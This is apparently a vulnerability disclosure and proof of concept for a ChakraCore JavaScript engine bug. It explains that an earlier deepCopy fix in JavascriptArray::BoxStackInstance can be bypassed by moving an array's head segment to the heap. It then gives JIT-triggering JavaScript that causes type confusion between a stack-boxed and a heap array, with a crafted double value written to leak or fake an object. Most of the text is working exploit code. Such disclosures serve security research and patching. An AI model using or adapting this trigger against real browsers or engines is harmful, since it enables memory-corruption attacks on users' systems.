1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
/* Here's a snippet of JavascriptArray::BoxStackInstance. To fixissue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix. template <typename T> T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) { Assert(ThreadContext::IsOnStack(instance)); // On the stack, the we reserved a pointer before the object as to store the boxed value T ** boxedInstanceRef = ((T **)instance) - 1; T * boxedInstance = *boxedInstanceRef; if (boxedInstance) { return boxedInstance; } const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); if (ThreadContext::IsOnStack(instance->head)) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), T, instance, true, deepCopy); } else if(inlineSlotsSize) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); } else { boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); } *boxedInstanceRef = boxedInstance; return boxedInstance; } PoC: */ function inlinee() { return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // Allocate stack_ar->head to the heap stack_arr[20] = 1.1; stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) opt(new Function(''));// Prevents to be inlined print(opt(heap_arr => { heap_arr[10000] = {};// ConvertToVarArray })); } main(); |